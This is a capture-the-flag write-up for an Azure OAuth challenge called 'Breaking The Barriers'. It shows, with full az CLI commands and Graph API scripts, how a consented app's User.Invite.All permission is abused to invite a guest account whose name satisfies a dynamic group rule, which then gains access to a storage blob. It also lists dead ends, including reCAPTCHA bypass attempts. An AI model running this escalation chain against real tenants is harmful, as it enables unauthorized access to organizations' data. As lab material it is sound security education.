Azure OAuth CTF Challenge: "Breaking The Barriers" - Complete Technical Writeup
Challenge Overview
The "Breaking The Barriers" CTF challenge from the Cloud Security Championship simulates an Azure OAuth privilege escalation scenario where we start with a malicious OAuth application that has already been consented into the victim tenant.
Environment Setup
Initial Credentials
The challenge environment provided these variables:
AZURE_CLIENT_ID=f83cb3d7-47de-4154-be65-c85d697cdfd3
AZURE_CLIENT_SECRET=yx68Q~II...
AZURE_TENANT_ID=967a4bc4-782a-492d-a5d5-afe8a7550b5f
Target victim tenant: azurectfchallengegame.com
(tenant ID: d26f353d-c564-48e7-b26f-aa48c6eecd58
)
Step 1: Service Principal Authentication
Login to Victim Tenant
az login --service-principal \
--username $AZURE_CLIENT_ID \
--password $AZURE_CLIENT_SECRET \
--tenant azurectfchallengegame.com \
--allow-no-subscriptions
Expected Output:
[
{
"cloudName": "AzureCloud",
"id": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"isDefault": true,
"name": "N/A(tenant level account)",
"state": "Enabled",
"tenantId": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"user": {
"name": "f83cb3d7-47de-4154-be65-c85d697cdfd3",
"type": "servicePrincipal"
}
}
]
Obtain Microsoft Graph Token
ACCESS_TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
echo "[+] Token acquired: ${ACCESS_TOKEN:0:50}..."
Step 2: Token Analysis and Permission Discovery
Decode JWT Token
python3 -c "
import json
import base64
token = '$ACCESS_TOKEN'
parts = token.split('.')
def add_padding(data):
missing_padding = len(data) % 4
if missing_padding:
data += '=' * (4 - missing_padding)
return data
payload_decoded = base64.urlsafe_b64decode(add_padding(parts[1]))
payload_json = json.loads(payload_decoded)
print(f'[+] App Display Name: {payload_json.get(\"app_displayname\")}')
print(f'[+] App ID: {payload_json.get(\"appid\")}')
print(f'[+] Tenant ID: {payload_json.get(\"tid\")}')
print(f'[+] Roles: {payload_json.get(\"roles\")}')
"
Expected Output:
[+] App Display Name: malicious-oauth-app
[+] App ID: f83cb3d7-47de-4154-be65-c85d697cdfd3
[+] Tenant ID: d26f353d-c564-48e7-b26f-aa48c6eecd58
[+] Roles: ['Group.Read.All', 'User.Invite.All']
Step 3: Directory Enumeration
Enumerate Groups via Microsoft Graph API
python3 -c "
import requests
import json
token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}'}
print('[*] Enumerating groups...')
url = 'https://graph.microsoft.com/v1.0/groups'
r = requests.get(url, headers=headers)
if r.status_code == 200:
groups = r.json()
print(f'[+] Found {len(groups.get(\"value\", []))} groups')
for group in groups.get('value', []):
display_name = group.get('displayName', 'Unknown')
group_id = group.get('id', 'Unknown')
print(f' - {display_name}: {group_id}')
# Look for flag-related groups
if 'flag' in display_name.lower():
print(f'[!] FLAG-RELATED GROUP FOUND: {display_name}')
print(f' ID: {group_id}')
else:
print(f'[-] Error: {r.status_code} - {r.text}')
"
Key Discovery:
[!] FLAG-RELATED GROUP FOUND: Users assigned access to flag
ID: 7d060bb7-75e4-456e-b46f-382f4ff0c4fd
Examine Flag Group Details
python3 -c "
import requests
token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}'}
group_id = '7d060bb7-75e4-456e-b46f-382f4ff0c4fd'
print('[*] Getting detailed group information...')
url = f'https://graph.microsoft.com/v1.0/groups/{group_id}'
r = requests.get(url, headers=headers)
if r.status_code == 200:
group_data = r.json()
print(f'[+] Group: {group_data[\"displayName\"]}')
print(f'[+] Description: {group_data[\"description\"]}')
print(f'[+] Group Types: {group_data[\"groupTypes\"]}')
print(f'[+] Membership Rule: {group_data[\"membershipRule\"]}')
print(f'[+] Rule Processing: {group_data[\"membershipRuleProcessingState\"]}')
else:
print(f'[-] Error: {r.status_code} - {r.text}')
"
Critical Output:
[+] Group: Users assigned access to flag
[+] Description: Users assigned access to flag
[+] Group Types: ['DynamicMembership']
[+] Membership Rule: (user.department -eq "Finance") and (user.jobTitle -eq "Manager") or (user.displayName -startsWith "CTF") and (user.userType -eq "Guest") or (user.city -eq "Seattle")
[+] Rule Processing: On
Step 4: Failed Direct Access Attempts
Multiple direct access attempts were made:
- Direct Service Principal Access: 403 Forbidden
- Direct Blob Access: Access Denied
- Token for CTF App: 400 - Resource not found
Step 5: Guest User Invitation Strategy
Analysis of Dynamic Membership Rule
The membership rule revealed our attack path:
(user.displayName -startsWith "CTF") and (user.userType -eq "Guest")
This means any guest user whose display name starts with "CTF" will automatically join the flag group.
Guest User Invitation
python3 -c "
import requests
import json
token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}
invitation = {
'invitedUserEmailAddress': 'ctfhunter2@your-own-domain.com',
'inviteRedirectUrl': 'https://portal.azure.com',
'displayName': 'CTF Hunter 2'
}
r = requests.post('https://graph.microsoft.com/v1.0/invitations', headers=headers, data=json.dumps(invitation))
print(f'Status: {r.status_code}')
if r.status_code == 201:
data = r.json()
print(f'Redeem URL: {data[\"inviteRedeemUrl\"]}')
print('*** Check your email for the invitation ***')
else:
print(f'Error: {r.text}')
"
Successful Output:
Status: 201
Redeem URL: https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3dd26f353d-c564-48e7-b26f-aa48c6eecd58%26user%3dd5dae785-8d41-4c6c-9269-b1b1c645d357%26ticket%3d4xcaYOJVlG9gkYSD6CaGHHgvpdPRqo2aZkMNjSISpW8%25253d%26ver%3d2.0
Step 6: Guest User Activation
Redeeming the Invitation
- Navigate to the redeem URL from the API response
- Complete the invitation redemption process
- The guest account becomes active in the victim tenant
Step 7: Authentication Switch
Logout from Service Principal
az logout
Login as Guest User
az login --tenant d26f353d-c564-48e7-b26f-aa48c6eecd58 --use-device-code
Process:
- CLI displays a device code
- Navigate to https://microsoft.com/devicelogin
- Enter the device code
- Authenticate with the guest account credentials
Step 8: Flag Retrieval
Discover the Flag Application and File Name
Access the MyApps portal to find the CTF Challenge Flag application:
# Navigate to MyApps portal as the guest user
# https://myapps.microsoft.com?tenantid=d26f353d-c564-48e7-b26f-aa48c6eecd58
In the portal, you'll see the "CTF Challenge Flag" application. Clicking it reveals the blob storage URL:
https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt
This shows us:
- Storage account:
azurechallengectfflag
- Container:
grab-the-flag
- File name:
ctf_flag.txt
Download the Flag
az storage blob download \
--account-name azurechallengectfflag \
--container-name grab-the-flag \
--name ctf_flag.txt \
--file "ctf_flag.txt" \
--auth-mode login
View the Flag
cat ctf_flag.txt
Attack Chain Summary
- Service Principal Authentication → Gain foothold in victim tenant
- Permission Discovery → Identify Group.Read.All and User.Invite.All permissions
- Directory Enumeration → Find dynamic group with CTF membership rule
- Guest User Invitation → Exploit User.Invite.All to create qualifying user
- Invitation Redemption → Activate guest account in victim tenant
- Authentication Switch → Login as guest user with group membership
- Resource Access → Download flag using group-based permissions
Security Implications
- Dynamic group membership rules can create unintended privilege escalation paths
- User.Invite.All permission combined with predictable membership rules is dangerous
- Guest user access should be carefully monitored and restricted
- OAuth app permissions require thorough security review before consent
Addendum: Dead Ends and Failed Approaches
This CTF challenge involved approximately 8-10 hours of dead ends before finding the correct solution. Below are the major failed approaches that consumed significant time:
The MELOAD/MELODAD Decoding Rabbit Hole (3-4 hours)
We discovered user GUIDs in the flag group could be mapped to an alphabet pattern, forming the sequence MELODADAKHGFAIBDLMDED@FFCAMFLALFOCECBEAFIOLHLJGBBALKLJF@BIMG@GKAMJFIAFJMDG@@MHJ@GOFONELILIJIMBOOIGGKCNIOOO@N@M@LKH@@EBDEFNGLE
. Multiple decoding attempts were made including:
- Base64 decoding with @ symbols replaced
- Caesar ciphers, Atbash, Vigenère analysis
- Binary/hex/ASCII conversions
- Grid transpositions and pattern analysis
Result: Complete waste of time - this was a coincidental pattern, not an intended part of the solution.
Assignment ID Decoding Obsession (2 hours)
Attempted to decode the app role assignment ID twsGfeR1bkW0bzgvT_DE_V5Q7va9YiVJhNbO-CHOKZM
through:
- Base64 URL-safe decoding
- XOR operations with resource IDs
- ASCII interpretation attempts
Result: Assignment IDs are just Azure-generated UUIDs, not data containers.
Web Application Exploitation Attempts (1-2 hours)
Tried various web app attack vectors:
- ReCAPTCHA bypass with test keys and skipRecaptcha parameters
- Endpoint discovery (/admin, /api, /oauth, etc.)
- Authentication bypass attempts
Result: The web app was heavily protected and not the intended attack vector.
Direct Service Principal Access (1 hour)
Attempted direct access to the CTF Challenge Flag service principal:
# Direct Graph API access - 403 Forbidden
GET https://graph.microsoft.com/v1.0/servicePrincipals/{ctf_app_id}
# Token generation attempts - 400 Resource not found
scope: {ctf_app_id}/.default
Result: Required specific group membership for access.
Other Failed Approaches
- JWT Token Claim Analysis (30 min): Analyzed xms_ftd and other claims for hidden flags
- User Enumeration (45 min): Attempted to list users without User.Read.All permission
- Alternative App Registration Search (30 min): Searched for similar GUIDs and hybrid combinations
- Custom Security Attributes (20 min): Checked for flags in group metadata and extensions
- Email Delivery Troubleshooting (45 min): Struggled with invitation email delivery issues
Key Lessons from Dead Ends
- Read the hints literally: "Groups open doors. This one opens an app" directly pointed to group membership requirements
- Follow the permissions: Focus on what Group.Read.All and User.Invite.All can actually accomplish
- Don't overthink encoding: Most "encoded" strings in Azure are just random identifiers
- Authentication context matters: The solution required switching from service principal to guest user
- Check application portals: MyApps portal was key to finding the flag location
Time Breakdown of Failed Approaches
Failed Approach | Time Spent | Key Lesson |
---|---|---|
MELOAD pattern decoding | 3-4 hours | Don't chase elaborate encoding schemes |
Assignment ID analysis | 2 hours | UUIDs are just identifiers |
Web app exploitation | 1-2 hours | Focus on the intended attack vector |
Direct service principal access | 1 hour | Follow proper authentication flows |
JWT claim analysis | 30 minutes | Standard claims rarely contain flags |
User enumeration | 45 minutes | Respect permission boundaries |
Email troubleshooting | 45 minutes | Use API responses over email delivery |
Total time wasted on dead ends: ~8-10 hours
The actual solution was relatively straightforward once we focused on the correct approach. The lesson: in CTF challenges, the most complex-looking approach is often the wrong one. Focus on what your current permissions allow you to do, and follow the hints literally rather than looking for hidden meanings.